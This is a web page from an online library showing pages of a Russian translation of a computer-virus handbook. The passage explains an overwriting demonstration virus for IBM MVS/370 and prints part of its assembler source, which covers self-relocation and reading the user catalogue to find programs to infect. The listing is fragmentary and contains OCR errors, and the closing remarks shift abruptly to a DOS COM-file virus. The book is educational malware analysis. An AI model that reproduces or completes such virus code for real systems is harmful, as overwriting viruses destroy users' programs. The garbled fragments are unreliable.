Главная · Поиск книг · Поступления книг · Top 40 · Форумы · Ссылки · Читатели

Настройка текста
Перенос строк


    Прохождения игр    
Demon's Souls |#13| Storm King
Demon's Souls |#11| Мaneater part 2
Demon's Souls |#10| Мaneater (part 1)
Demon's Souls |#9| Heart of surprises

Другие игры...


liveinternet.ru: показано число просмотров за 24 часа, посетителей за 24 часа и за сегодня
Rambler's Top100
Образование - Ральф Бургер Весь текст 616.55 Kb

Большой справочник по компьютерным вирусам

Предыдущая страница Следующая страница
1 ... 26 27 28 29 30 31 32  33 34 35 36 37 38 39 ... 53
рах  серии IBM 30хх и об операционной системе MVS/370,  поскольку
программа, используемая здесь в качестве объекта для демонстрации
работы  компьютерных  вирусов, написана на  ассемблере  OS/VS2  и
отлажена на этом компьютере. И хотя речь идет только о  "тестовой
" версии вируса, при постановке программы должны непременно  соб-
людаться следующие условия:
     "Перенос  распечатки  на  устройства  электронной  обработки
данных, опубликование их с использованием других носителей инфор-
мации, а также внесение в распечатку каких-либо изменений катего-
рически  запрещено!  В случае несоблюдения  этого  условия  автор
сохраняет  за собой право донесения за совершенное  преступление.
Если сгенерирована работоспособная версия программы,  установлен-
ная  на  ЭВМ,  совершивший  несет  уголовное  ответственность  по
статьям N 303а, б (компьютерный саботаж), предусматривающим также
выплату штрафа".
     Опубликование  программы  преследует  исключительно  научные
цели. Для того, чтобы понять принцип работы программы, записывать
ее  в память ЭВМ или прогонять на ЭВМ  совершенно  необязательно;
распечатка исходных кодов программы вполне позволяет понять прин-
цип работы программы-вируса.
     Эта программа является перезаписывающим вирусом, т.е.  расп-
ространение вируса происходит путем замены исходных кодов  кодами
программы-вируса.  После "внедрения" вируса в программу  она  уже
состоит исключительно из программы-вируса, хотя и носит имя преж-
ней программы.
     Если  вызвать инфицированную таким образом программу,  вирус
запускается вновь и может "заразить " ее  и другую программу. Но
затребованную пользователем программу уже нельзя выполнить,  пос-
кольку  она перезаписана. Поскольку каждая  зараженная  программа
из-за вируса утрачивает свою работоспособность, этот вирус  легко
обнаружить, но тем не менее он остается  чрезвычайно опасным: все
инфицированные программы оказываются утраченными для  пользовате-
ля, восстановить первоначальную программу невозможно!  Вызываемый
вирусом ущерб может быть чрезвычайно большим, даже если во  время
пребывания вируса в системе относительно мало.
     Для  того, чтобы рассмотреть принцип действия  компьютерного
вируса предположим, что мы вызвали зараженную этим вирусом  прог-
рамму, т.е. что сам вирус вызван для исполнения.

                           - 195 -
     После  того,  как операционная система  передаст  управление
программе-вирусу, программный модуль выполняет самонастройку.  Та
настройка,  которую для обычных программ выполняет  загрузчик,  в
нашем  случае  оказывается недостаточной,  чтобы  после  загрузки
получить  полностью готовую к исполнению форму. Это будет  понят-
ным, если рассмотреть процесс распространения инфекции.
     Затем  программа  считывает  текущий  каталог  пользователя,
используя работу с разделением времени. В программе запрашивается
только каталог со спецификациями "U.uid", чтобы ограничить  расп-
ространение вируса только одним уровнем. Отсюда ясно, что  вирус
может поражать только программы, к которым он имеет вполне  лега-
льный доступ (собственные программы). В заключение каталог  прос-
матривается  на  наличие файлов с организацией  РО  (пораздельная
организация), так как только такие файлы могут содержать исполня-
емые модули. Если файл с организацией РО найден, сначала считыва-
ются соответствующие элементы каталога. По этому списку  подката-
логов определяется, идет ли речь о данных или исполняемых програ-
ммах для соответствующих элементов. Если элемент каталога соответ-
ствует программе, считывается длина программы, которая  сравнива-
ется с длиной программы-вируса. При одинаковой длине вирус счита-
ет,  что  программа уже инфицирована, и  обращается  к  следующей
записи каталога. Если среди файлов с РО-организацией нет программ
или есть только инфицированные программы, ищется следующий файл с
организацией РО в каталоге. Если каталог отработан, программа  на
уровне  пользователя  нет  или  же  уже  все  программы  поражены
вирусом. В противном случае вирус внедряется в первую же   "неза-
раженную программу" данного уровня.
     Внедрение  вируса осуществляется благодаря тому,  что  вирус
открывает "заражаемый" файл на запись. Программа выбирает необхо-
димые  для этого записи, составляющие работоспособную  программу,
такие как TSD (словарь внешних символов), записи заголовков и RLD
(таблица  настройки) из таблиц и записывает их в файл. Когда  все
записи  записаны, файл закрывается и запись в каталоге  элементов
переводится в новое состояние. Но прежде, наряду с теми записями,
которые вирус может сгенерировать из таблиц, в файл  записывается
и   управляющая   запись,  которая  в  оперативной   памяти   для
исполнения.  передается в виде записи. При  такой  самонастройке,
которая  составляет  значительную  часть  программы-вируса,  коды
записываются на диск приспособленными к текущему адресу загрузки.

                           - 196 -
Поэтому написанная таким образом программа может позднее загружа-
ться загрузчиком операционной системы, но поскольку  перед  вызо-
вом  загруженной программы она приспосабливается к новому  адресу
загрузки,  все  перемещаемые адреса  оказываются  неверными.  Для
того, чтобы корректно связать эти адреса с новым адресом  загруз-
ки,  необходима уже упоминавшаяся самонастройка  вируса,  которая
отменяет имевшуюся на диске настройку кодов.
     Если  файл  инфицирован, или если программа не  найдена  или
если уже все программы заражены вирусом, вирус передает  управле-
ние стандартной программе, которая обеспечивает вирусу выполнение
некоторой  специальной функции. В нашем  демонстрационном  вирусе
такой  подпрограммы  для выполнения  определенных  манипуляций  не
встроено;  возможной задачей вируса может быть  уничтожение  всех
данных пользователя на определенную дату и т.д.
     При выполнении указанной функции вируса выполнение программы
завершается; управление передается вызывающей программе или  опе-
рационной системе.
     Более подробную информацию, необходимую для анализа програм-
мы, Вы найдете в подробных комментариях к распечатке программы.
     Приведем выдержку из названной программы:
*****************************************************************
* х    x  xxx  xxxxx   x    x   xxxx    на ЭВМ IBM 3090,        *
* х    x   x   x    x  x    x  x        работающей под          *
* x    x   x   x   x   x    x  x        управлением ОС          *
* x    x   x   xxxx    x    x   xxxx    MVS/370                 *
*  x  x    x   x  x    x    x       x                           *
*   xx    xxx  x   xx   xxxx   xxxxx                            *
*   Version 1,No Release !! (p) & (c) foxi, April 1987          *
* ВНИМАНИЕ!                                                     *
* Ассемблирование, компоновка и выполнение  программы с целью   *
* внедрения ее в компьютерную систему может повлечь за собой    *
* уголовную ответственность по статьям N 303а StGB(компьютерный)*
* саботаж)!!! Эта программа служит исключительно для исследова-*
* тельских целей, а именно для изучения опасности, которую не- *
* сут для ЭВМ компьютерные вирусы. Распрoстранение программы,  *
* изготовленние  работоспособной версии или модификация исход- *
* ной программы без уведомления автора и его (письменного) сог-*
* ласия недопустимы. В случае нарушения этого условия автор    *
* сохраняет за собой  право донесения за совершенное престу-  *

                           - 197 -
* пление. Письменное согласие автора может быть получено лишь  *
*  при указании причин,  побудивших к распространению, испол-  *
* нению или модификации программы.                             *
****************************************************************
*
*
           START
VIRUS      CSECT
*
*
*         Сохранить регистры и "связать"
*         области сохранения
*---------------------------------------
*
           STM       R14,R12,12(R13)
           LR        R12,R15
           USING     VIRUS,R12
           LR        R2,R13
           LA        R13,SAVE
           ST        R2,4(R13)
           ST        R13,8(R2)
           B         COHT$0

SAVE       DS        18F                 Область сохранения

BASE       DC        F'0'                Базовый адрес для
                                         настройки
********************************************************
*
*              Самонастройка модуля
*
*********************************************************
*
CONT$0     LA        R2,RLDINFO      Адрес таблицы настройки
$16        L         R1,0(R2)        Выбрать первый адрес...
           LA        R1,0(R1)        ...и вычислить в модуле
           AR        R1,R12          адрес, используя 3 байта.
           CLI       0(R2),X'0D'     Длина адреса =4 байта?
           BE        $17             Да:--->

                           - 198 -
           BCTR      R1,0            Сдвиг назад на 1 байт
$17        ICM       R3,15,0(R1)     Выбрать значение, записан-
           S         R3,BASE         ное в 4 байтах, вычесть ста-
           STCM      R3,15,0(R1)     рый базовый адрес и записать
                                     обратно.
           LA        R2,4(R2)        Адресовать следующую
                                     информацию
           CLI       0(R2),X'00'     Больше нет?
           BNE       $16             Нет :---> настройка* ...
           ST        R12,BASE        Запомнить теперешнюю базу
           HVC       DATEI(96),DSAVE DСB установить на нуль
*********************************************************
*   Каталог используемых операций чтения
*********************************************************
*
*  Установка текущего идентификатора пользователя
*--------------------------------------------------
*
           L         R1,540
           L         R1,I2(R1)
           MVC       FSPEC+2(3),0(R1) Запись в каталог
*
*  Считать каталог пользователя для уровня U.UID
*
           L         R0,CATLEN         Подготовка места в памяти
           GETMAIN   R,LV=(R0)         для размешения
           ST        R1,CATADDR        каталога
           MVC       0(2,R1),=X'7FFF'  (32 Кбайта)

           LA        R1,PARAM          Параметры программы работы
           LINK EPLOC=CATROUT          с каталогом. Каталог можно
                                       считать
           B         CONT$1
*
*
*   Блок параметров для процедуры с каталогом
*
*
CATROUT    DC        CL8'IKJEHCIR'

                           - 199 -
FSPEC      DC        C'U.???',83C' '
*                                       Блок параметров
           DS        OF

PARAM      DC        X'02000000'
           DC        A(FSPEC)           Адрес FSPEC
           DC        F'0'
CATADDR    DC        A(0)               Адрес каталога
           DC        A'0'
CATLEN     DC        F'32768'           Длина каталога
           LTORG
---------------------------------------------------------------
                     Конец распечатки VP/370
---------------------------------------------------------------
     К  этой  программе, которую переслал нам автор  из  Австрии,
следует сделать несколько замечаний. Речь идет о перезаписывающем
вирусе, отличительная особенность которого заключается в том, что
значение  времени  создания файла устанавливается на  62  секунды
(обычно это незаметно, поскольку " секундная" область на экран не
выводится, но тем не менее "секундное" значение времени существу-
ет).
     Кроме того, вирусом "поражаются " лишь СОМ-файлы,  находящи-
еся  внутри  определенного с помощью PATH пути доступа  к  файлу.
Реконструирование программы-носителя достигается не путем  смеще-
ния кодов программы-вируса, а в результате установки соответству-
ющей точки входа на 100Н.

     Особо "коварной" является встраиваемая задача на  выполнение
манипуляций,  разрушающая первые пять байтов исходной  программы.
Предыдущая страница Следующая страница
1 ... 26 27 28 29 30 31 32  33 34 35 36 37 38 39 ... 53
Ваша оценка:
Комментарий:
  Подпись:
(Чтобы комментарии всегда подписывались Вашим именем, можете зарегистрироваться в Клубе читателей)
  Сайт:
 
Комментарии (1)

Реклама